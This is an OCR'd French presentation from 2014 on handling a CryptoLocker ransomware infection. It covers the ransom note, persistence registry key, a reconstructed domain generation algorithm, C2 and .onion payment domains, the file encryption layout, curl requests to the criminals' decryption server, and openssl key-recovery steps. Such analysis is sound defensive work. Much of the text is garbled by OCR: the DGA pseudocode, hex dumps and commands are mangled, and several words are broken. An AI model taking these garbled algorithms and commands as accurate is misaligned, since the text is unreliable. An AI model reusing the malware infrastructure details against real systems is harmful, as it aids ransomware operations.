CryptolLocker

Retour d’expérience ...

(20/05/2014)
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Kesako

Ra n (; O n g I C I e I | Your personal files are encrypted!

Your important files encryption produced on this computer: photos, videos,
documents, etc. Here is a3 complete list of encrypted files, and you can personally verify
this.

Encryption was produced using 3 unique public key RSA-2048 generated for this
computer. To decrypt the files you need to obtain the private key.

The single copy of the private key, which wil allow you to decrypt the files, located
on a secret server on the Internet; the server will destroy the key after a time
specified in this window. After that, nobody and never will be able to restore files...

To obtain the private key for this computer, which wil automatically decrypt files, you
need to pay 300 USD / 300 EUR / simiar amount in another currency.

Windows

Click «Next» to select the method of payment.

Any attempt to remove or damage this software will lead to the immediate
Private key will be destroyed on destruction of the private key by server.

10/20/2013
12:37 PM

Time left

72:34:50

Via mail / PJ

Chiffre les fichiers, locaux & reseau
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%]  Exec.-1/4

Email + Trojan.Zbot = download Trojan.Cryptolocker

— file: Jcgnbunudberrr.zip (= Jcgnbunudberrr.exe), Lmpjxmvheortt, Icmcobxksjghdinnt, ...

- site: xeogrhxquuubt.com, gaaepodedahnslq.org, ovenbdjnihhdlb.net, ...

.EXE --- « Mes Documents »

- hom de fichier « random »

HKEY _CURRENT _USER\...\Run
CryptoLocker = %appdata%\{CLSID}.exe

- XOR key 0x819C33AE (par ex. pour VersionInfo dans le registre)

http://blog.emsisoft.com/2013/09/ | O/cryptolocker-a-new-ransomware-variant/
http:/lwww.secureworks.com/cyber-threat-intelligence/threats/cryptolocker-ransomware
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Exec. - 2/4

DGA - Domain Generation Algorithm

Key = Temp A (Temp >> 0x12)
= NewKey = (((Key * 0x10624DD3) >> 6) * OXFFFFFC18) + Key

CurrentDay = GetSystemTime (Current Day)
= DayKey = (CurrentDay << 0x10) A CurrentDay

if (DayKey <= 1) {
DayKey = CurrentDay << 0x18
}
CurrentMonth = GetSystemTime (Current Month)
= MonthKey = (CurrentMonth << 0x10) A CurrentMonth

if (MonthKey <= 7) {
MonthKey = CurrentMonth << 0x18 [] == *2A24
if (MonthKey <= 7) {
MonthKey = !(MonthKey)
}
}
CurrentYear = GetSystemTime (Current Year)
= YearKey = ((CurrentYear + NewKey) << 0x10) A (CurrentYear + NewKey)

if (YearKey <= OxF) {
YearKey = ((CurrentYear + NewKey) << 0x18)

}
StringLength = (((DayKey A ((YearKey A 8 * YearKey A ((DayKey A ((MonthKey A 4 * MonthKey) >> 6)) >> 8)) >> 5)) >> 6) & 3) + OxC
i=0
do {
MonthKey = ((MonthKey A 4 * MonthKey) >> 0x19) A 0x10 * (MonthKey & OxFFFFFFF8)
DayKey = (DayKey >> 0x13)) A ((DayKey >> 6) A (DayKey << 0xC)) & Ox1FFF A (DayKey << 0xC)
YearKey = ((YearKey A 8 * YearKey) >> 0xB) A ((YearKey & OXFFFFFFFO) << 0x11)
i=i+1
ServerName [i - 1] = (DayKey A MonthKey A YearKey) % 0x19 + 'a'
} while (i < StringLength)
TLD = .ru .org .co.uk .info .com .net .biz

= 1000 FQDN / jour

http://blog.fortinet.com/A-Closer-Look-at-Cryptolocker-s-DGA/
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POST http://xeogrhyquuubt.com
K—RSA—pubC (donne-moi 1 K—RSA—pubW)

)

[K-RSA-priv"']

K-RSA-priv® (K-RSA-pub?)
[K-RSA-pub"™]

URL POST: ..&version=<version du malware>&id=<num?>&name=<hostname>&group=<groupid>&lid=en-US

K-RSA-priv = 2048 bits
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Pour chaque fichier a chiffrer

[K-AES™] = rand (256 bits)
fichier chiffre =

00..19 [hdr#1] = SHA1 (0000 . header#2)

W w
20 .. 275 [hdr#2] = K-RSA-pub (K-AES )

W
276 [data] = K-AES (fichier en clair)

HKEY_ CURRENT_USER\Software\CryptoLocker\Files =
fichier chiffré °1, fichier chiffre °2, ...

http:/Iwww.kyrus-tech.com/cryptolocker-decryption-engine/
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Retirer la machine du réseau

Lister les fichiers chiffrés

cv C:\WINDOWS\system32\cmd.exe - more ListCrilock.txt !EE

ListCrilock 1.1.8 by Lawrence Abrams (Grinler) I’
http://wuwuw.bleepingcomputer.com/

Copyright 20088-2014 BleepingComputer.com

More Information about the CryptoLocker Ransomware can be found here:
http://vwuw.bleepingcomputer.com/virus—removal/cryptolocker—ransomuare—informati

on

Windows Uersion: Microsoft Windows XP Service Pack 3
Program started at: 601,/15/2014 B4:48:18 PM.

Exporting list of Encrypted Files from HKCU\Sof tware\CryptoLocker_0388\Files:

IC:\Al EX aff .doc
C:\A CE.doc

(RS JURES ADM AFF.doc

C:\ lure compta affiliés.doc
HRT > DAUPHITEX aff .doc

IC =N ETTRE AFF TEEN.doc

IC =3 'ROCEDURES ADM AFF.doc

IC =\ rocédure compta affi doc

IC: N \LETTRE AF

C:\ LETTRE SUC doc
IC:\A ' e\LETTRE SUCC loc

http:/lwww.bleepingcomputer.com/virus-removallcryptolocker-ransomware-information
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Si < 72 heures, payez 0,5 BTC [ ——

En retour :

d on an
nority.
intermediate

send 0.5 BTC to Bitcoir address
SCYxvITzHVKeFfH and specify the Tran:

Private key will be destroyed on ge, G ied and confirmed.
L 11/24/2013 .
Time left

71:58:56

URL.onion pour télécharger
CryptoLockerDecrypter.exe
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Si > 72 heures : http://f2d2v7soksbskekh.onion

® 00

. . - 7 CryptoLocker Decryption Service
U p I Oad e r u n ﬁ C h I e r C h I 'Ffre [« > ][] [2] [+ ] hupsa f2d2v7soksbskekh.onion.lu

CryptoLocker Decryption Service

By using this service, you can purchase private key and decrypter for files encrypted by CryptoLocker.

P 3 O BT C If you already purchased private key using CryptoLocker, then you can download private key and decrypter
E ] y e r for FREE.

Select any encrypted file and click "Upload" button.
The first 1024 bytes of the file will be uploaded to the server for search the associated private key. The
search can take up to 24 hours.

En retour :

IMMEDIATELY AFTER UPLOADING FILE TO THE SERVER, YOU RECEIVE YOUR ORDER ID. YOU CAN USE THIS
ID TO CHECK STATUS OF ORDER.

S "
K R A p r I V OR if you already know your Order ID, you may enter it into the form below.

@i elellleeldene Blielehe el oy
° e X e https://f2d2v7soksbskekh.onion.lu/

q 9 P.Asty




Infecte ? - 4/4

800 La brigade d’enquétes sur les fraudes aux technologies de I'information - La préfecture de Police

Porter plainte : |[EEE=————

La brigade d'enquétes sur les fraudes aux technologies de I'information - La préfecture de Police

PORTAIL DEMARCHES Salle de presse

B EFTl ?g—pm— Préfecture de police

01 55752619

Nous contacter

LA BRIGADE D’ENQUETES SUR LES FRAUDES AUX
TECHNOLOGIES DE L'INFORMATION

P MISSIONS DE POLICE

. . 0

P MISSIONS DE SECURITE flv]s R =l
Elucider les crimes et délits informatiques, voila la mission

P MISSIONS ADMINISTRATIVES dévolue & la brigade d'enquétes sur les fraudes aux
technologies de l'information (BEFTI). Zoom sur cette unité de

P MISSIONS DE SOUTIEN la police judiciaire

» SERVICE DE LA MEMOIRE ET
NFS AFFAIRFS CLIITIHIRFI I FS
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CryptoLocker Decryption Service

- f2d2v7soksbskekh.onion
- Xjgrbcpinwxg.com

Registrar: bizcn.com
- Creation Date: 02-feb-2014
- I[P Geo loc = Country: RU

Server: nginx/1.4.5

<title>CryptoLocker Decryption Service</title>
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Upload de fichier chiffré - code

<script type="text/javascript">
[/ <![CDATA]
var g_chunkSize = 1024;
/111>

</script>

<form id="file-form" method="post" action="/">
<input id="file-data" name="file" type="hidden" value="">
<input id="file-source" type="file">

</form>

<script type="text/javascript">
var b = $("#file-source")[0].files;
var ¢ = b[0];
var a = new FileReader();
a.readAsArrayBuffer(c.slice(0, g_chunkSize))
var h =""
var e = new Uint8Array(g.target.result);
for (var f = 0; f < e.byteLength; f++) {

h += String.fromCharCode(e[f])

}
$("#file-data").val(btoa(h));
$("#file-form")[0].submit()

</script>
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Upload de fichier chiffre - tests

curl -A 'Mozilla/5.0' -sik -H 'Content-Type: application/x-www-form-urlencoded' -H 'Content-
Length: 1361' -d "file=..incorrect.." http://xjgrbcpinwxg.com
= Internal error. Please try again later.

curl -A 'Mozilla/5.0' -sik -H 'Content-Type: application/x-www-form-urlencoded' -H 'Content-
Length: 1477' -d "file=..correct.." http://xjgrbcpinwxg.com
= Location: /?order=6eb05dbf734763ae9402d537e09cea74ef0c99f2

curl -A 'Mozilla/5.0' -sik 'http://xjgrbcpinwxg.com/?
order=fb3d2431dd6e84ebafc02f0678e16c439ace5e66&download’
= .exe, contenant (strings):

- order id (XXXXX=XXXXX~-...)
- priv key
- fct *File*, Crypt*
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Demo

delebs=llvt s loip=7201 collRl=2 86 e< tftlic s = e Bl isos UpEsn s TS @a lia e BoViciss e <l >
file.aes.enc

openssl rsautl -inkey priv.pem -decrypt -hexdump -in file.aes.enc

GIoele 08 02 00 00 10 66 00 00-20 00 00 OOEch 31 4c eSS S N T
VIO Ob 8c ca 30 6e 1d 52 3¢c-60 cc c9 3a £8 78 s e Ree s it o
VIR S59 55 6f 9d £9 60 11 41-72 b4 15 b8 VARFOI Y

= PUBLICKEYSTRUC ([f}: PLAINTEXTKEYBLOB, S lon e : CALG AES 256)

cb 31 4C . EERGININ

k=cb3l4dce80bl8ccailltelds23ablcecd3atsillecibas9bb6f2d 9601 41 124158

dd bs=ilskip=276 < file > file enc

epenssl ones i iile Enie s dl sdes UG eoe s Bl s i ()
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Questions ?

?? patrick.asty@gmail.com

$$ patrick.asty@igqging.com
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